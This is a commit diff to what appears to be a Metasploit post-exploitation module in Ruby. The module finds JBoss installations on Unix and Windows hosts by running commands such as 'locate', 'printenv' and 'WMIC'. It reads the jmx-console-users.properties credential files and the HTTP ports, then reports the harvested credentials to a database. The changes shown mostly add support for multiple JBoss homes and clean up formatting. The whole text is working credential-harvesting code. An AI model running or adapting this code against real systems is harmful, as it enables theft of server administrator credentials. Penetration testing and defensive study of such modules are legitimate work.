@@ -34,7 +34,7 @@ def report_creds(user, pass, port)
34
34
credential_core = create_credential ( credential_data )
35
35
36
36
if not port . is_a? Integer
37
- print_status ( "Port not an Integer, Something probably went wrong " )
37
+ print_status ( "Failed to detect port, defaulting to 8080 for creds database " )
38
38
port = 8080
39
39
end
40
40
@@ -141,107 +141,120 @@ def getports()
141
141
def gathernix ( )
142
142
print_status ( "Unix OS detected, attempting to locate Jboss services" )
143
143
version = getversion ( cmd_exec ( 'locate jar-versions.xml' ) . split ( "\n " ) )
144
- home = readhome ( cmd_exec ( 'printenv' ) . split ( "\n " ) )
145
- pwfiles = getpwfiles ( cmd_exec ( 'locate jmx-console-users.properties' ) . split ( "\n " ) , home )
146
- listenports = getports ( )
147
- getpw ( pwfiles , listenports )
144
+ home = readhome ( cmd_exec ( 'printenv' ) . split ( "\n " ) )
145
+ pwfiles = getpwfiles ( cmd_exec ( 'locate jmx-console-users.properties' ) . split ( "\n " ) , home )
146
+ listenports = getports ( )
147
+ getpw ( pwfiles , listenports )
148
148
end
149
149
150
150
def winhome ( )
151
+ home = Array . new
151
152
exec = cmd_exec ( 'WMIC PROCESS get Caption,Commandline' ) . split ( "\n " )
152
153
exec . each do |line |
153
- if line . downcase . include? "java.exe" and line . downcase . include? "jboss"
154
- print_status ( "Jboss process found" )
155
- home = line . split ( '-classpath "' ) [ 1 ] . split ( "\\ bin\\ " ) [ 0 ]
156
- return home
157
- end
154
+ if line . downcase . include? "java.exe" and line . downcase . include? "jboss"
155
+ print_status ( "Jboss service found" )
156
+ parse = line . split ( '-classpath "' ) [ 1 ] . split ( "\\ bin\\ " ) [ 0 ]
157
+ if parse [ 0 ] == ';'
158
+ home . push ( parse . split ( ';' ) [ 1 ] )
159
+ else
160
+ home . push ( parse )
161
+ end
162
+ end
158
163
end
159
- end
164
+ return home
165
+ end
160
166
161
- def wingetinstances ( home )
162
- instances = Array . new
163
- instance_location = home + "\\ server"
164
- exec = cmd_exec ( 'cmd /c dir ' + instance_location ) . split ( "\n " )
165
- exec . each do |instance |
166
- if instance . split ( "<DIR>" ) [ 1 ]
167
- if ( not instance . split ( "<DIR>" ) [ 1 ] . strip ( ) . include? "." ) and ( not instance . split ( "<DIR>" ) [ 1 ] . strip ( ) . include? ".." )
168
- instance_path = home + "\\ server\\ " + ( instance . split ( "<DIR>" ) [ 1 ] . strip ( ) )
169
- instances . push ( instance_path )
170
- end
167
+ def wingetinstances ( home )
168
+ instances = Array . new
169
+ instance_location = home + "\\ server"
170
+ exec = cmd_exec ( 'cmd /c dir ' + instance_location ) . split ( "\n " )
171
+ exec . each do |instance |
172
+ if instance . split ( "<DIR>" ) [ 1 ]
173
+ if ( not instance . split ( "<DIR>" ) [ 1 ] . strip ( ) . include? "." ) and ( not instance . split ( "<DIR>" ) [ 1 ] . strip ( ) . include? ".." )
174
+ instance_path = home + "\\ server\\ " + ( instance . split ( "<DIR>" ) [ 1 ] . strip ( ) )
175
+ instances . push ( instance_path )
171
176
end
172
177
end
173
- return instances
174
178
end
179
+ return instances
180
+ end
175
181
176
- def winpwfiles ( instances )
177
- files = Array . new
178
- instances . each do |seed |
179
- file_path = seed + "\\ conf\\ props\\ jmx-console-users.properties"
180
- if exist? ( file_path )
181
- files . push ( file_path )
182
- end
182
+ def winpwfiles ( instances )
183
+ files = Array . new
184
+ instances . each do |seed |
185
+ file_path = seed + "\\ conf\\ props\\ jmx-console-users.properties"
186
+ if exist? ( file_path )
187
+ files . push ( file_path )
183
188
end
184
- return files
185
189
end
190
+ return files
191
+ end
186
192
187
- def wingetport ( instances )
188
- port = Array . new
193
+ def wingetport ( instances )
194
+ port = Array . new
189
195
190
- instances . each do |seed |
191
- path1 = seed + "\\ conf\\ bindingservice.beans\\ META-INF\\ bindings-jboss-beans.xml"
192
- path2 = seed + "\\ deploy\\ jboss-web.deployer\\ server.xml"
196
+ instances . each do |seed |
197
+ path1 = seed + "\\ conf\\ bindingservice.beans\\ META-INF\\ bindings-jboss-beans.xml"
198
+ path2 = seed + "\\ deploy\\ jboss-web.deployer\\ server.xml"
193
199
194
- if exist? ( path1 )
195
- file1 = read_file ( seed + "\\ conf\\ bindingservice.beans\\ META-INF\\ bindings-jboss-beans.xml" ) . split ( "\n " )
196
- end
200
+ if exist? ( path1 )
201
+ file1 = read_file ( seed + "\\ conf\\ bindingservice.beans\\ META-INF\\ bindings-jboss-beans.xml" ) . split ( "\n " )
202
+ end
197
203
198
- if exist? ( path2 )
199
- file2 = read_file ( seed + "\\ deploy\\ jboss-web.deployer\\ server.xml" )
200
- end
204
+ if exist? ( path2 )
205
+ file2 = read_file ( seed + "\\ deploy\\ jboss-web.deployer\\ server.xml" )
206
+ end
201
207
202
- if file1
203
- print_status ( "Bind file found: " + seed + "\\ conf\\ bindingservice.beans\\ META-INF\\ bindings-jboss-beans.xml" )
204
- parse = false
205
- nextport = false
206
- file1 . each do |line |
207
- if line . strip ( ) == '<bean class="org.jboss.services.binding.ServiceBindingMetadata">'
208
- parse = true
209
- elsif line . strip ( ) == '</bean>'
210
- parse = false
211
- elsif parse and line . include? "HttpConnector"
212
- nextport = true
213
- elsif parse and nextport
214
- port . push ( line . split ( '<property name="port">' ) [ 1 ] . split ( '<' ) [ 0 ] . to_i )
215
- nextport = false
216
- end
208
+ if file1
209
+ print_status ( "Bind file found: " + seed + "\\ conf\\ bindingservice.beans\\ META-INF\\ bindings-jboss-beans.xml" )
210
+ parse = false
211
+ nextport = false
212
+ file1 . each do |line |
213
+ if line . strip ( ) == '<bean class="org.jboss.services.binding.ServiceBindingMetadata">'
214
+ parse = true
215
+ elsif line . strip ( ) == '</bean>'
216
+ parse = false
217
+ elsif parse and line . include? "HttpConnector"
218
+ nextport = true
219
+ elsif parse and nextport
220
+ port . push ( line . split ( '<property name="port">' ) [ 1 ] . split ( '<' ) [ 0 ] . to_i )
221
+ nextport = false
222
+ print_status ( line . split ( '<property name="port">' ) [ 1 ] . split ( '<' ) [ 0 ] )
217
223
end
218
224
end
225
+ end
219
226
220
- if file2
221
- print_status ( "Bind file found: " + seed + "\\ deploy\\ jboss-web.deployer\\ server.xml" )
222
- xml2 = Nokogiri ::XML ( file2 )
223
- xml2 . xpath ( "//Server//Connector" ) . each do |connector |
224
- if connector [ 'protocol' ] . include? "HTTP"
225
- print_status ( connector [ 'port' ] )
226
- port . push ( connector [ 'port' ] . to_i )
227
- break
228
- end
227
+ if file2
228
+ print_status ( "Bind file found: " + seed + "\\ deploy\\ jboss-web.deployer\\ server.xml" )
229
+ xml2 = Nokogiri ::XML ( file2 )
230
+ xml2 . xpath ( "//Server//Connector" ) . each do |connector |
231
+ if connector [ 'protocol' ] . include? "HTTP"
232
+ print_status ( connector [ 'port' ] )
233
+ port . push ( connector [ 'port' ] . to_i )
234
+ break
229
235
end
230
236
end
231
237
end
232
- return port
233
- end
238
+ end
239
+ return port
240
+ end
234
241
235
242
def gatherwin ( )
236
243
print_status ( "Windows OS detected, enumerating services" )
237
- home = winhome ( )
238
- version_file = Array . new
239
- version_file . push ( home + "\\ jar-versions.xml" )
240
- version = getversion ( version_file )
241
- instances = wingetinstances ( home )
242
- pwfiles = winpwfiles ( instances )
243
- listenports = wingetport ( instances )
244
- getpw ( pwfiles , listenports )
244
+ homeArray = winhome ( )
245
+ if homeArray . size > 0
246
+ homeArray . each do |home |
247
+ version_file = Array . new
248
+ version_file . push ( home + "\\ jar-versions.xml" )
249
+ version = getversion ( version_file )
250
+ instances = wingetinstances ( home )
251
+ pwfiles = winpwfiles ( instances )
252
+ listenports = wingetport ( instances )
253
+ getpw ( pwfiles , listenports )
254
+ end
255
+ else
256
+ print_status ( "No Jboss service has been found" )
257
+ end
245
258
end
246
259
247
260
def run
@@ -251,5 +264,4 @@ def run
251
264
gathernix ( )
252
265
end
253
266
end
254
-
255
267
end
0 commit comments